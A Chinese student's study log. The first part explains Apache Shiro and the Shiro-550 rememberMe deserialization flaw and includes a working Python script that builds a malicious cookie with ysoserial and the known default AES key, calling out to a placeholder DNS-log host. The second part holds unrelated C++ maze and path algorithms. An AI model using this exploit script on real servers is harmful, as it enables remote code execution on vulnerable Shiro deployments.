第三周日志-web(2)
原本计划的web不是这个,但是b站上一个大佬讲web做到了连我都能听懂,不趁热打铁学一学记一记就怕忘记了
指路:Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili
khttps://www.zhihu.com/question/486555909
学模板先看看结构和功能:
shiro是一个java开源的安全框架
功能(可以利用身份认证和rememberme):
Authentication
:身份认证/登录,验证用户是不是拥有相应的身份Authorization
:授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用 户是否能进行什么操作,如:验证某个
用户是否拥有某个角色。或者细粒度的验证某个用户对某个资源是否具有某个权限Session Manager
:会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中;会话可以是普通 JavaSE环境,也可以是 Web 环境的Cryptography
:加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储Caching
:缓存,比如用户登录后,其用户信息、拥有的角色/权限不必每次去查,这样可以提高效率Run As
:允许一个用户假装为另一个用户(如果他们允许)的身份进行访问Remember Me
:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了
身份验证、访问授权、数据加密,具体是怎么实现的:
1.cookie有保存信息(认证能利用吗,怎么处理cookie)
16年shiro-550反序列化漏洞
CookieRememberMeManager:功能,有个序列化操作,getCookie,base64
【之前只会做那种简单的利用isAdmin,shiro这里的功能是个isRememberme,但是Cookie有东西,有加密的做题关键,而不仅仅是我之前遇到的改true】
(找调用),解码之后convertoPrincipal【认证,知道了原理:解密,反序列化】操作
导致漏洞原因:固定的key来加密(bb:有些只一个key的对称加密也想试试能不能做)
payload:使用AES加密,很多安全反固化设备无法识别
暂时到这里,web题wp里的python我得多看看(周日欢迎提问)
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://xxxx.ceye.io')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
------------------------------------------------我是分界线——————————————————————
原谅我,知道现阶段大多数时候都用不上一些密码还是算法,可是一看到就真的很想把她吃掉,at last,还是至少想学完它【日志看前面就好了,后面只是自己乱搞的】
算法我就把main函数省了哈
迷宫的动态规划第一周日志提到:
动态规划:1.填充边界2.二选一(上、左)
class Solution {
public:
int minPathSum(vector<vector<int> >& matrix) {
int row = matrix.size(), col = matrix[0].size();
for (int i = 0; i < row; i ++) {
for (int j = 0; j < col; j ++) {
if (i == 0 && j != 0) { // 数组第一行
matrix[0][j] += matrix[0][j - 1];
} else if (j == 0 && i != 0) { // 数组第一列
matrix[i][0] += matrix[i - 1][0];
} else if (i > 0 && j > 0) {
// 两种方式取最小的
matrix[i][j] += min(matrix[i - 1][j], matrix[i][j - 1]);
}
}
}
return matrix[row - 1][col - 1];
}
};
Dijkstra算法(单源带权最短路径)
脚本丢这里(现在的我只能看懂,但自己从头写还是困难了)
①初始化数组【记录距离dist[];选set[未填充];记录前驱path[]】
②找:min(每次找距离最短的节点)③更新:加入新节点后的最短距离
#include<iostream>
#include<string>
#include<queue>
#include<stack>
#include<cstdio>
using namespace std;
int maze[1000][1000];
int mark[1000][1000];
struct Offsets
{
int dx,dy;
string dir;
Offsets(int x=-1, int y=-1, string d=""):dx(x),dy(y),dir(d) {}
};
Offsets guide[4]= {{0,-1,"W"},{0,1,"E"},{1,0,"S"},{-1,0,"N"}};//x.y是方向对应坐标的变化
int sx,sy;
int ex,ey;
struct PosInfo
{
int px,py;
PosInfo(int x=0,int y=0):px(x),py(y) {}
};
PosInfo pre[1000][1000]= {0,0};
int SeekShortesPath()
{
PosInfo inf(sx,sy);
//Queue<PosInfo> q;
queue<PosInfo> q;
//q.EnQueue(inf);//将起点位置入队
q.push(inf);
int nx,ny;
mark[sx][sy]=1;//标记起点位置已经访问过
while(!q.empty())
{
//q.DeQueue(inf);//队头元素出队
inf=q.front();
q.pop();
PosInfo temp=inf;
//int ix=inf.px;
//int jy=inf.py;
for(int i=0; i<4; i++) // 四个方向扩展(搜索)查看队头元素的四个方向
{
nx=inf.px+guide[i].dx;
ny=inf.py+guide[i].dy;
//pre[nx][ny].px=ix;
//pre[nx][ny].py=jy;
//pre[nx][ny]=(ix,jy);//ix,ij是nx,ny的上一个位置
if(maze[nx][ny]==0||mark[nx][ny]==1)
continue;
//cout<<nx<<ny<<endl;
pre[nx][ny]=temp;
//cout<<pre[nx][ny].px<<pre[nx][ny].py;
if(maze[nx][ny]==4)
{ex=nx;
ey=ny;
return 1;
}
//q.EnQueue(PosInfo(nx,ny));
q.push(PosInfo(nx,ny));
mark[nx][ny]=1;//将可走的位置入队并标记
}
}
return 0;
}
void PrintPath(int row,int column)
{
PosInfo temp;
stack<PosInfo> s;
temp.px=ex;
temp.py=ey;
while(temp.px!=row||temp.py!=column)
{
s.push(temp);
temp=pre[temp.px][temp.py];
}
s.push(temp);
while(!s.empty())
{
temp=s.top();
cout<<temp.px<<" "<<temp.py<<" "<<endl;
s.pop();
}
cout<<endl;
}
int main()
{
int a,b;
cin>>a>>b;
for(int i=0; i<a; i++)
{
for(int j=0; j<b; j++)
cin>>maze[i][j];
}
for(int i=0;i<a;i++)
{
for(int j=0;j<b;j++)
if(maze[i][j]==3)
{
sx=i;
sy=j;
}
}
SeekShortesPath();
PrintPath(sx,sy);